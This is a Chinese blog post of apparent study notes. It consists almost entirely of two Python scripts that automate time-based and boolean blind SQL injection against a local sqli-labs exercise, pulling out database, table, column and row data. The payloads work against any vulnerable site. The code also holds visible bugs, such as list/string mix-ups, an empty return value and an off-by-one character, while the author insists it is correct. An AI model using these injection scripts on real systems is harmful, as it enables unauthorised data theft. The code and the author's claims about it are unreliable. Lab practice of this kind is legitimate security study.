当前位置: 首页 > news >正文

sql:时间盲注和boolen盲注

关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全

时间盲注方法

import time
import requests

# 获取数据库名
def inject_database(url):
    dataname = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(3), 0)-- " % (i, mid)
            res = {"id": payload}
            start = time.time()
            r = requests.get(url, params=res)
            end = time.time()
            if end-start >= 3:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        dataname += chr(mid)
    print(dataname)

# 获取表名
def table_inject(url, dataname):
    table_name = []
    index = 0
    while True:
        table_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dataname}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            table_name += chr(low)
            position += 1
        # if not table_name:
        #     break
        # table_name.append(table_name)
        # index +=1
        return table_name

# 获取列名
def colum_inject(url, dataname, table_name):
    colum_name = []
    index = 0
    while True:
        colum_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dataname}' and table_name='{table_name}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "

                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end-start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            colum_name += chr(low)
            position += 1
        return colum_name

# 获取具体数据
def data_inject(url, dataname, table_name, colum_name):
    data = []
    index = 0
    while True:
        row_data = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select {colum_name} from {dataname}.{table_name} limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            row_data += chr(low)
            position += 1
        return data


if __name__ == '__main__':
    url = 'http://127.0.0.1:8080/sqlilabs/Less-9/'

    dataname = inject_database(url)
    print(f"database: {dataname}")
    table_names = table_inject(url, dataname)
    print(f"table-name: {table_names}")
    if table_names:
        table_name = table_names[0]
        colum_names = colum_inject(url, dataname, table_name)
        print(f"colum-name: {colum_names}")
        if colum_names:
            colum_name = colum_names[0]
            data = data_inject(url, dataname, table_name, colum_name)
            print(f"时间盲注 - 具体数据: {data}")

布尔盲注方法

import requests

# 通用的布尔盲注函数
def boolen_inject(url, payload, payloadfas, params):
    result = ""
    for pos in range(1, 20):
        for ascii_val in range(32, 127):
            payload_true = payload.format(pos, ascii_val)
            payload_false = payloadfas.format(pos, ascii_val)
            params_true = {params: payload_true}
            params_false = {params: payload_false}
            response_true = requests.get(url, params=params_true)
            response_false = requests.get(url, params=params_false)
            if response_true.text != response_false.text:
                result += chr(ascii_val + 1)
                break
        else:
            break
    return result

# 布尔盲注获取数据库名
def get_database_name(url, params):
    payload = "1' and ascii(substr(database(), {}, 1)) > {} -- "
    payloadfas = "1' and ascii(substr(database(), {}, 1)) <= {} -- "
    return boolen_inject(url, payload, payloadfas, params)

# 布尔盲注获取表名
def table_inject(url, params, database_name):
    table_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        table_name = boolen_inject(url, payload, payloadfas, params)
        if not table_name:
            break
        table_names.append(table_name)
        index += 1
    return table_names

# 布尔盲注获取列名
def column_inject(url, params, database_name, table_name):
    column_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        column_name = boolen_inject(url, payload, payloadfas, params)
        if not column_name:
            break
        column_names.append(column_name)
        index += 1
    return column_names

# 布尔盲注获取具体数据
def data_inject(url, params, database_name, table_name, column_name):
    data = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        row_data = boolen_inject(url, payload, payloadfas, params)
        if not row_data:
            break
        data.append(row_data)
        index += 1
    return data

if __name__ == '__main__':
    url = "http://127.0.0.1:8080/sqlilabs/Less-9/index.php"
    params = "id"
    # 获取数据库名
    database_name = get_database_name(url, params)
    print(f"database_name: {database_name}")
    # 获取表名
    table_names = table_inject(url, params, database_name)
    print(f"table_name: {table_names}")
    if table_names:
        table_name = table_names[0]
        # 获取列名
        column_names = column_inject(url, params, database_name, table_name)
        print(f"column_name: {column_names}")
        if column_names:
            column_name = column_names[0]
            # 获取具体数据
            data = data_inject(url, params, database_name, table_name, column_name)
            print(f"data: {data}")

实验结论

但是两种方式都显示不了数据库名称,检查后发现是基础配置问题导致代码连接不上,正常在网址上进入是可以的。

代码本身没有问题。

现在我还没有找到问题所在,后面会抽时间改进。

相关文章:

  • Java 字符编码与解码:深入理解 Charset 类
  • 开启对话式智能分析新纪元——Wyn商业智能 BI 携手Deepseek 驱动数据分析变革
  • 急停信号的含义
  • JVM——堆的回收:引用计数发和可达性分析法、五种对象引用
  • Kubernetes部署KeyDB服务
  • 网络安全工程师逆元计算 网络安全逆向
  • 淘宝订单列表Fragment转场动画卡顿解决方案
  • React历代主要更新
  • Django创建超管用户
  • Qt:Qt界面优化
  • 第6章 6.2使用ASP.NET Core 开发WebAPI ASP.NET Core Web API
  • 【网络安全 | 漏洞挖掘】价值3133美元的Google IDOR
  • Node.js开发属于自己的npm包(发布到npm官网)
  • 算法——结合实例了解广度优先搜索(BFS)搜索
  • 进阶数据结构——离散化
  • 5. Docker 本地镜像发布到阿里云
  • 巨控GRM530无线远程模块与工业物联网融合技术方案
  • python爬虫解决无限debugger问题
  • Datawhale 组队学习 wow-agent task1 学习总结
  • CSS 属性选择器详解与实战示例
  • 加强政府网站建设管理的重要性/四川seo选哪家
  • 上海公司做网站/网站百度不收录的原因
  • 10天搞定网站开发/线上推广员是做什么的
  • 常州做网站多少钱/沧州网站运营公司
  • 东方网景网站建设/河南品牌网络推广外包
  • jquery 的网站模板/网站app免费生成软件